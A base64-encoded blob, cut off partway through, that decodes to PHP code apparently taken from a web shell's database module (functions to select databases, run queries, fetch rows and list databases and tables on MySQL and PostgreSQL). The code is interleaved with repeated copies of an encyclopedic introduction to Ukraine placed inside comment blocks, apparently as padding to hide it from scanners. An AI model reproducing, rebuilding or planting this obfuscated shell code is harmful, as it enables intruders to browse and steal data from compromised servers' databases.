OiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBmZXRjaCgpIHsKCQkJJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX2xpc3RfZGJzKCR0aGlzLT5saW5rKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIik7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lI